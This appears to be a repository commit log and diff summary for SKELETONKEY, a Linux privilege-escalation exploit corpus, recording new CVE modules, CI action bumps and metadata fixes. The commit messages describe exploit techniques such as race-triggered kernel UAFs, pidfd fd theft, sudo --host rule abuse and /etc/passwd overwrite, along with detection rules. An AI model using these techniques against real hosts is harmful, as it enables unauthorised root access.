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Author SHA1 Message Date
Kara Zajac d466fbfdcb docs: cache-bust og:image to ?v=2 (force fresh card past Cloudflare/social cache)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 17:27:15 -04:00
Kara Zajac a8bc81c54c docs: regenerate og.png with skeletonkey.netslum.io URL
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 17:25:55 -04:00
Kara Zajac b7027a1749 docs: point OG/canonical URLs to skeletonkey.netslum.io (new home)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 17:15:53 -04:00
KaraZajac 03324c8542 modules: add ghostlock (CVE-2026-43499, "GhostLock" rtmutex/futex requeue-PI stack UAF)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
Adds the ghostlock module for CVE-2026-43499 ("GhostLock", VEGA / Nebula
Security's "IonStack part II") — a ~15-year race UAF on kernel STACK memory in
the rtmutex/futex requeue-PI path (kernel/locking/rtmutex.c). On the -EDEADLK
deadlock-rollback, remove_waiter() runs against `current` instead of the waiter
task, so a concurrent sched_setattr()-driven PI-chain priority walk on another
CPU clears pi_blocked_on on the wrong task and leaves an on-stack rt_mutex_waiter
dangling. Reachable by any unprivileged user (CVSS 7.8, PR:L) — plain
futex(2) + sched_setattr(2), no userns/CONFIG beyond CONFIG_FUTEX_PI. The
corpus's first rtmutex/futex-PI module and first kernel-stack UAF (all others
are heap/slab).

Introduced 2.6.39; fixed 3bfdc63936dd (7.1-rc1), stable backports
7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with
no upstream fix. CWE-416; not in KEV.

detect() is a pure version gate over the five-branch backport table. exploit()
forks an isolated child that (A) deterministically confirms the -EDEADLK
remove_waiter() rollback path is reachable (safe — no concurrent walk means no
dangling pointer; validated on real hardware) then (B) exercises the actual race
a hard-bounded 24 iters / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm,
and stops. Deliberately under-driven: no copy_from_user widening, no stack-frame
spray/reoccupation, and the KernelSnitch leak -> forged-waiter ->
fops/ashmem/pipe R/W -> cred-patch chain (Android/Pixel-specific, per-build
offsets) is NOT bundled. Returns EXPLOIT_FAIL. Lowest --auto safety rank (11) —
a won race corrupts the kernel stack. Unlike most races it ships a real
detection signature (futex requeue-PI returning EDEADLK + sibling sched_setattr);
auditd/sigma anchor on sched_setattr, falco/eBPF on the EDEADLK tell; no yara.

Wired: registry, Makefile, safety rank 11, version 0.9.13, 9 detect() test rows
(incl. 6.13.0 -> VULNERABLE, the multi-branch "newer than all" case), CVE
metadata (CWE-416 / T1068 / not-KEV; cve_metadata.c + KEV_CROSSREF.md regenerated
-> 13 of 40), README + CVES.md + website counts (45 modules / 40 CVEs),
RELEASE_NOTES v0.9.13, verify-vm target. Also corrects pre-existing
docs/index.html drift left by v0.9.12 (body counts stuck at 43/38 and a missing
bad_epoll corpus pill). Tests: 33 kernel_range + 101 detect, all pass.

Credit: VEGA / Nebula Security (nebusec.ai, NebuSec/CyberMeowfia, Apache-2.0);
upstream fix 3bfdc63936dd (Keenan Dong / Thomas Gleixner).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n
2026-07-13 15:43:00 -04:00
KaraZajac 95589e26cb modules: add bad_epoll (CVE-2026-46242, "Bad Epoll" epoll teardown race UAF)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
Jaeyoung Chung's kernelCTF "Bad Epoll": a race-condition use-after-free in
fs/eventpoll.c. ep_remove() clears file->f_ep under f_lock but keeps using
the file (hlist_del_rcu + unlock) while a concurrent __fput() frees the
still-referenced struct eventpoll. Reachable by any unprivileged user with
no userns / CONFIG / capability; weaponised via cross-cache to a struct
file, /proc/self/fdinfo arb-read, and ROP. Introduced 58c9b016e128 (6.4),
fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13. CWE-416; not in KEV.

The corpus's first epoll / VFS-teardown module. Shipped as a reconstructed,
deliberately under-driven trigger on the stackrot / nft_catchall contract:
detect() is a pure version gate (>= 6.4 and below the on-branch fix; no
userns precondition -- epoll needs none); exploit() forks a CPU-pinned
child that exercises the ep_remove-vs-__fput close window a hard-bounded 48
attempts / 2s and returns EXPLOIT_FAIL. It does not grind the race to a
win, does not do the cross-cache reclaim, and does not bundle the fdinfo
R/W + ROP (a won race frees a live struct file and rarely trips KASAN ->
silent-corruption risk).

Wired: registry, Makefile, safety rank (12 -- lowest in the corpus; a
kernel race is the least predictable class), 5 detect() test rows (version
gating), CVE metadata (sorted insert, CWE-416 / T1068 / not-KEV), README +
CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a verify-vm
target (sweep pending). Detection rules are intentionally weak/structural
(epoll ubiquitous, rarely KASAN) -- post-exploitation euid-0 transition,
no yara. Also corrects pre-existing README drift in the "not yet verified"
count (8 -> 11). Not VM-verified, so the verified count stays 28 of 39.
Version 0.9.12. Credit: Jaeyoung Chung (J-jaeyoung).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n
2026-07-04 19:35:33 -04:00
KaraZajac 4d0a0e2443 modules: add nft_catchall (CVE-2026-23111, nf_tables catch-all abort UAF)
release / build (arm64) (push) Waiting to run
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release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
The newest nftables LPE: a use-after-free in the nf_tables transaction-
abort path. An inverted condition (a stray '!') in
nft_map_catchall_activate() makes the abort path process active catch-all
map elements instead of skipping them; a catch-all GOTO element drives a
chain's use-count to zero so a following DELCHAIN frees it while the
catch-all verdict still references it -> UAF, escalatable from an
unprivileged user (userns + nftables) via modprobe_path/selinux_state ROP.
Fixed upstream by f41c5d1; CWE-416, CVSS 7.8; not in CISA KEV. Public
reproduction by FuzzingLabs.

Takes the corpus to 43 modules / 38 CVEs.

🟡 reconstructed trigger, primitive-only, NOT VM-verified — same contract
as nf_tables (CVE-2024-1086). detect() version-gates (catch-all elems
~5.13; Debian backports 6.1.164/6.12.73/6.18.10, 7.0+ inherits) AND
requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks
an isolated child, builds a verdict map with a catch-all GOTO element,
provokes an aborting batch to drive the abort-path UAF, observes slabinfo,
and returns EXPLOIT_FAIL — the per-kernel leak + R/W + modprobe_path ROP
is not bundled. kernel_range table verified drift-clean against the live
Debian tracker (the 6.18 branch / 6.18.10 fix is the real forky/sid
backport; the earlier 7.0.10 figure was wrong).

Wired: registry, Makefile, safety rank (35), 6 detect() test rows (version
+ userns gating), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md
(sorted insert, CWE-416/T1068/not-KEV), README + CVES.md + website counts
(43/38) + yellow pill, RELEASE_NOTES v0.9.11, verify-vm target. Credit:
FuzzingLabs + upstream fix f41c5d1. Version 0.9.11.
2026-06-08 17:42:19 -04:00
KaraZajac 050731396d docs: record partial VM verification of cifswitch (CVE-2026-46243)
Verified 2026-06-08 on Ubuntu 24.04.4 / kernel 6.8.0-117-generic under
QEMU/HVF (offline: cloud image + payload iso, no guest networking):

- modprobe cifs registers the cifs.spnego key type (cifs-utils not needed
  to reach the primitive).
- Independent python3 ctypes add_key('cifs.spnego', forged
  uid/creduid/upcall_target) ACCEPTED (user-key control also accepted);
  module exploit() independently reported 'primitive CONFIRMED' then the
  honest EXPLOIT_FAIL.
- detect() returned PRECOND_FAIL without cifs-utils and VULNERABLE under
  SKELETONKEY_CIFS_ASSUME_PRESENT=1.

Still pending (so cifswitch stays 🟡 and is NOT counted as a verified
end-to-end CVE; verified count stays 28 of 37): a patched kernel
(>=6.12.90/7.0.10) to prove add_key is REJECTED there (probe discriminates
fixed-from-vulnerable), and the full namespace+NSS root-pop. Recorded in
NOTICE.md, CVES.md, RELEASE_NOTES.md, and tools/verify-vm/targets.yaml.
2026-06-08 13:53:29 -04:00
KaraZajac ada56b0db3 modules: add cifswitch (CVE-2026-46243, Asim Manizada's CIFSwitch)
release / build (arm64) (push) Waiting to run
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release / release (push) Blocked by required conditions
CIFSwitch is the newest kernel-7-era LPE not already in the corpus: a
~19-year-old logic flaw in fs/smb/client/cifs_spnego.c where the
cifs.spnego request-key type accepts key descriptions created by
userspace (add_key(2)/request_key(2)) without verifying the request came
from the in-kernel CIFS client. The description's authority-bearing
fields (pid/uid/creduid/upcall_target) are trusted by the root cifs.upcall
helper; with user+mount namespace tricks an unprivileged user coerces
cifs.upcall into loading an attacker NSS module as root. Fixed upstream by
3da1fdf4efbc (merged 7.1-rc5); CWE-20; not in CISA KEV.

Takes the corpus to 42 modules / 37 CVEs.

🟡 honest port — full chain not VM-verified. detect() gates on the kernel
version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) AND on the
cifs userspace path (cifs.upcall / cifs.spnego request-key rule), so a
vulnerable kernel without cifs-utils is PRECOND_FAIL not a false positive
(override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0). exploit() fires only
the non-destructive add_key(2) cifs.spnego probe (no upcall, loads
nothing, revoked immediately) and returns EXPLOIT_FAIL without a euid-0
witness — the namespace+NSS root-pop is not bundled until VM-verified.
--mitigate blocklists the cifs module; --cleanup reverts.

Wired everywhere: registry, Makefile, safety rank (86), 6 detect() test
rows (env-driven precondition override), CVE_METADATA.json + cve_metadata.c
+ KEV_CROSSREF.md (sorted insert, CWE-20/T1068/not-KEV), README + CVES.md
+ website counts (42/37) and a yellow module pill, RELEASE_NOTES v0.9.10,
verify-vm target (sweep pending). Credit: Asim Manizada. Version 0.9.10.
2026-06-08 11:07:27 -04:00
KaraZajac 28a9289989 fix: normalize CVE_METADATA.json to sorted order (drift-check)
release / build (arm64) (push) Waiting to run
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release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
The weekly drift-check stayed red after v0.9.9's KEV+CWE fixes because of a
latent ordering bug: sudo_host (CVE-2025-32462), added in v0.9.8, was
appended to the end of CVE_METADATA.json instead of its sorted position.
check_drift compares the record list in discover_cves() sorted order, so
the misplaced entry read as drift independent of its field values.
Regenerated via tools/refresh-cve-metadata.py — sorted order restored, all
field values reconfirmed against CISA KEV + NVD in a clean fetch.
2026-06-08 10:30:25 -04:00
KaraZajac e457b22c1f release v0.9.9: install.sh needs no sudo + CVE metadata drift fix
install.sh never escalates to sudo. The installer defaulted to
/usr/local/bin and fell back to `sudo mv`, prompting for a password on
exactly the unprivileged accounts a privilege-escalation tool targets. It
now uses /usr/local/bin only when already writable and otherwise installs
to a per-user $HOME/.local/bin (honoring XDG_BIN_HOME), no sudo ever. An
explicit SKELETONKEY_PREFIX is honored and errors rather than escalating.
The documented one-liner prepends ~/.local/bin to PATH so it resolves on a
fresh login, and the quickstart drops the misleading sudo from --scan /
--audit / --auto.

CVE metadata drift (the failing weekly drift-check):
  - CVE-2022-0492 (cgroup_release_agent) entered CISA KEV 2026-06-02;
    corpus now 13 of 36 modules cover KEV-listed CVEs.
  - CVE-2026-46333 (ptrace_pidfd) gained CWE-269 from NVD (was unclassified
    at module-add time).
Refreshed CVE_METADATA.json, generated cve_metadata.c, and KEV_CROSSREF.md;
README + website KEV counts and version bumped to 0.9.9.
2026-06-08 10:16:24 -04:00
KaraZajac 60579f1602 release v0.9.8: two new LPE modules (ptrace_pidfd, sudo_host)
release / build (arm64) (push) Waiting to run
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Tags the two modules added this cycle (already on main): ptrace_pidfd (CVE-2026-46333, Qualys __ptrace_may_access/pidfd_getfd credential-fd theft, bd63aab) and sudo_host (CVE-2025-32462, Stratascale sudo -h/--host policy bypass, dd5f4fa).

This commit bumps the version strings (skeletonkey.c, README, docs/index.html) and prepends the v0.9.8 RELEASE_NOTES entry. Corpus is now 41 modules / 36 CVEs / 28 verified. Tagging fires release.yml, which rebuilds + publishes the four prebuilt binaries via the Node-24 artifact actions bumped in v0.9.7.
2026-06-02 09:03:05 -04:00
KaraZajac dd5f4fa06d modules: add sudo_host (CVE-2025-32462, Stratascale sudo --host policy bypass)
Second new module this cycle; sibling of sudo_chwoot (CVE-2025-32463, same Stratascale/Rich Mirch disclosure). sudo's -h/--host option — meant only to pair with -l/--list — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via 'sudo -h <host> <cmd>' for local root. Affects sudo 1.8.8 -> 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8 (not in KEV).

detect(): version-gate [1.8.8, 1.9.17p0] via ctx->host->sudo_version (the host-restricted rule itself isn't probeable unprivileged, so VULNERABLE means 'vulnerable sudo present'). exploit(): discovers an abusable host-restricted rule from readable sudoers (or SKELETONKEY_SUDO_HOST), witnesses with 'sudo -n -h <host> id -u', pops 'sudo -h <host> /bin/bash' (SKELETONKEY_SUDO_CMD) only on a uid-0 witness; honest EXPLOIT_FAIL + operator guidance otherwise. Shared 'sudo' family; structural, arch=any; safety rank 96. auditd/sigma/falco rules, NOTICE.md (Rich Mirch / Stratascale) + MODULE.md, 4 detect() test rows.

Wiring: registry, Makefile, cve_metadata (+JSON), verify-vm/targets.yaml (ubuntu1804 sudo 1.8.21p2 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 40->41 modules / 35->36 CVEs; not-yet-verified lists + corpus pill.
2026-06-02 08:43:09 -04:00
KaraZajac 3d9db6b93e tests: add ptrace_pidfd (CVE-2026-46333) detect() coverage
Six detect() rows over synthetic host fingerprints: predates-gate at pidfd_getfd's 5.6 introduction (4.4 / 5.5.99 -> OK), vulnerable window (5.15.5 / 6.12.87 -> VULNERABLE), exact trixie backport (6.12.88 -> OK), and mainline inheritance (7.1.0 -> OK). Matches the harness per-module coverage convention; clears ptrace_pidfd from the coverage-gap report.
2026-06-02 08:29:10 -04:00
KaraZajac bd63aabd64 modules: add ptrace_pidfd (CVE-2026-46333, Qualys ptrace/pidfd_getfd cred-steal)
New module for Qualys's 2026-05-20 disclosure: a __ptrace_may_access logic flaw leaves a process dropping privileges briefly reachable past its dumpable boundary; pidfd_getfd(2) steals root-opened fds / authenticated channels from it. Default-distro, no userns, arch-agnostic (fd-steal, no shellcode).

detect(): version-pinned, predates-gate at pidfd_getfd's 5.6 introduction; kernel_range from Debian backports (5.10.251/6.1.172/6.12.88/7.0.7), drift-check clean. exploit(): spawns a setuid victim, pidfd_open()s it, sweeps pidfd_getfd() over its fd table during the cred-drop window, reports any uid-0-owned fd captured from a non-root context. Honest EXPLOIT_FAIL without a euid-0 witness; not yet VM-verified. mitigate(): yama ptrace_scope=2; cleanup() reverts. auditd/sigma/falco rules, NOTICE.md (Qualys TRU credit) + MODULE.md, safety rank 84.

Wiring: registry, Makefile, cve_metadata (+JSON source), verify-vm/targets.yaml (ubuntu2204 + mainline 5.15.5 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 39->40 modules / 34->35 CVEs; added to not-yet-verified lists + corpus pill.
2026-06-02 08:26:24 -04:00
KaraZajac 1663df69d1 release v0.9.7: kernel_range drift fix + CI Node 24 readiness
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Tags the maintenance work landed since v0.9.6. The fragnesia drift fix (35c33df) and checkout v4->v6 bump (6c148e2) are already on main; this commit adds the remaining CI Node-24 bumps + version strings.

release.yml: upload-artifact v4->v7, download-artifact v4->v8, softprops/action-gh-release v2->v3 (last of the Node-20-era actions; GitHub forces node24 on 2026-06-16). Reviewed each changelog — our default-zip/unique-name upload + full-set download is unaffected by the major-version breaking changes (opt-in direct uploads, download-by-ID path).

Version bumped to 0.9.7 (skeletonkey.c, README, docs/index.html) + v0.9.7 RELEASE_NOTES entry. Tagging this commit fires release.yml — the end-to-end test of the new artifact actions, incl. the Alpine/musl static job under node24.
2026-06-01 11:55:31 -04:00
KaraZajac 6c148e276a ci: bump actions/checkout v4 -> v6 (Node 24 readiness)
GitHub forces the Node 24 runtime on 2026-06-16; checkout@v4 runs on the deprecated Node 20. checkout v6.0.2 declares runs.using: node24. All 9 usages (5 in build.yml, 4 in release.yml) are bare checkouts with no inputs, so the major bump is a drop-in.

Still on Node-20-era majors in release.yml, deferred (multi-major jumps with breaking changes, and release.yml only runs on tag push): upload-artifact v4->v7, download-artifact v4->v8, softprops/action-gh-release v2->v3.
2026-06-01 11:40:05 -04:00
KaraZajac 35c33df16f fragnesia: add 5.10.257 kernel_range entry (Debian bullseye backport)
Weekly drift-check (build.yml schedule cron) went red 2026-06-01: Debian's security tracker now lists CVE-2026-46300 as fixed on the 5.10 branch (bullseye 5.10.257), a branch fragnesia's kernel_patched_from table didn't model. detect() would false-positive VULNERABLE on a patched bullseye 5.10.257+ host.

Adding {5,10,257} clears the only MISSING finding; refresh-kernel-ranges.py now exits 0. The 10 remaining drifted modules are INFO-only 'more permissive' entries the check tolerates.
2026-06-01 11:05:05 -04:00
KaraZajac 25c2afc3e9 release v0.9.6: --auto no longer prompts for sudo password
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sudo_runas_neg1 and sudoedit_editor's detect() bodies invoked
'sudo -ln' (intending list + non-interactive). Some sudoers / PAM
configurations have been observed prompting for a password anyway
when the flags are bundled. That meant skeletonkey --auto --i-know
could hang on a sudo password prompt during the corpus scan — bad
ergonomics for an LPE tool whose whole point is to get root without
already having it.

Fix: write '-n -l' as separate flags, redirect stdin from /dev/null
so sudo cannot fall back to reading the tty even if PAM tries to
coerce one. Belt-and-suspenders against any tty prompt during --auto.
2026-05-28 21:50:26 -04:00
KaraZajac 13fbbce618 release v0.9.5: kernel_range drift cleanup (12 modules)
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v0.9.4 fixed cve_metadata drift but exposed kernel_range drift which
had been hidden behind it. Applied refresh-kernel-ranges.py --patch
recommendations: 11 TOO_TIGHT findings (false-positive risk — our
threshold later than Debian's earliest known fix) + 8 MISSING (Debian
has fixes for branches we didn't model) across 12 modules.

All changes are strictly correctness-improving: detect() now correctly
returns OK on kernels Debian has on record as patched, instead of
false-positiving VULNERABLE.

The biggest single fix is reverting fragnesia from {7,0,10} (NVD) to
{7,0,9} (Debian's backported fix). I introduced that off-by-one in
v0.9.4 from misreading NVD's versionEndExcluding semantics.

Build's kernel_range drift step now exits 0 with 0 TOO_TIGHT + 0 MISSING.
2026-05-28 14:51:15 -04:00
KaraZajac bb5ca48fe1 ci: enable workflow_dispatch on build workflow
The drift-check job's if-gate already honors workflow_dispatch but
the trigger itself was never added to the on: block. Without it,
'gh workflow run build.yml' fails with 422. Found while validating
the v0.9.4 drift fix — wanted to confirm drift-check now passes
without waiting for next Monday's cron.
2026-05-28 13:37:35 -04:00
59 changed files with 4870 additions and 93 deletions
+9 -5
View File
@@ -10,6 +10,10 @@ on:
# Runs Monday 06:00 UTC; reports any new backports / KEV additions # Runs Monday 06:00 UTC; reports any new backports / KEV additions
# that haven't propagated into the corpus yet. # that haven't propagated into the corpus yet.
- cron: '0 6 * * 1' - cron: '0 6 * * 1'
workflow_dispatch:
# Lets us trigger the drift-check job on demand (e.g. after a
# metadata refresh) without waiting for the weekly cron. The
# drift-check job's `if:` gate honors this trigger.
jobs: jobs:
build: build:
@@ -21,7 +25,7 @@ jobs:
flavor: [default, debug] flavor: [default, debug]
name: build (${{ matrix.cc }} / ${{ matrix.flavor }}) name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install build deps - name: install build deps
run: | run: |
@@ -80,7 +84,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: sanitizers (ASan + UBSan) name: sanitizers (ASan + UBSan)
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install deps - name: install deps
run: | run: |
sudo apt-get update -qq sudo apt-get update -qq
@@ -111,7 +115,7 @@ jobs:
name: clang-tidy name: clang-tidy
continue-on-error: true continue-on-error: true
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install deps - name: install deps
run: | run: |
sudo apt-get update -qq sudo apt-get update -qq
@@ -137,7 +141,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: drift-check (CISA KEV + Debian tracker) name: drift-check (CISA KEV + Debian tracker)
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: cve_metadata drift - name: cve_metadata drift
run: | run: |
# Exits 1 if the federal data has drifted from our committed # Exits 1 if the federal data has drifted from our committed
@@ -164,7 +168,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: static-build name: static-build
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install build deps - name: install build deps
run: | run: |
sudo apt-get update -qq sudo apt-get update -qq
+9 -9
View File
@@ -32,7 +32,7 @@ jobs:
name: build (${{ matrix.target }}) name: build (${{ matrix.target }})
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install build deps - name: install build deps
run: | run: |
@@ -52,7 +52,7 @@ jobs:
mv skeletonkey skeletonkey-${{ matrix.target }} mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256 sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v7
with: with:
name: skeletonkey-${{ matrix.target }} name: skeletonkey-${{ matrix.target }}
path: | path: |
@@ -71,7 +71,7 @@ jobs:
container: container:
image: alpine:latest image: alpine:latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: install build deps - name: install build deps
run: apk add --no-cache build-base linux-headers tar run: apk add --no-cache build-base linux-headers tar
- name: build static (musl) - name: build static (musl)
@@ -87,7 +87,7 @@ jobs:
run: | run: |
mv skeletonkey skeletonkey-x86_64-static mv skeletonkey skeletonkey-x86_64-static
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256 sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v7
with: with:
name: skeletonkey-x86_64-static name: skeletonkey-x86_64-static
path: | path: |
@@ -111,7 +111,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: build (arm64-static / musl) name: build (arm64-static / musl)
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: run dockcross arm64-musl build - name: run dockcross arm64-musl build
run: | run: |
# Fetch the dockcross wrapper script (handles UID/GID, # Fetch the dockcross wrapper script (handles UID/GID,
@@ -130,7 +130,7 @@ jobs:
run: | run: |
mv skeletonkey skeletonkey-arm64-static mv skeletonkey skeletonkey-arm64-static
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256 sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v7
with: with:
name: skeletonkey-arm64-static name: skeletonkey-arm64-static
path: | path: |
@@ -141,9 +141,9 @@ jobs:
needs: [build, build-static-x86_64, build-static-arm64] needs: [build, build-static-x86_64, build-static-arm64]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: actions/download-artifact@v4 - uses: actions/download-artifact@v8
with: with:
path: dist path: dist
@@ -181,7 +181,7 @@ jobs:
fi fi
- name: publish release - name: publish release
uses: softprops/action-gh-release@v2 uses: softprops/action-gh-release@v3
with: with:
tag_name: ${{ steps.notes.outputs.tag }} tag_name: ${{ steps.notes.outputs.tag }}
name: SKELETONKEY ${{ steps.notes.outputs.tag }} name: SKELETONKEY ${{ steps.notes.outputs.tag }}
+16 -6
View File
@@ -23,16 +23,18 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only historical reference only
**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs **Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0 verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.) *candidate* with no module, not counted as a module.)
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
> blocked by their target environment (VMware-only, kernel < 4.4, > `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` / `ghostlock` are blocked by their target environment (VMware-only,
> mainline panic, kmod not autoloaded, or t64-transition libs), > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> not by missing code. See > libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
> `ghostlock` are reconstructed race triggers — deliberately under-driven
> and not VM-verified). See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
> >
> All three now have **pinned fix commits and version-based > All three now have **pinned fix commits and version-based
@@ -75,7 +77,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. | | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. | | CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. | | CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
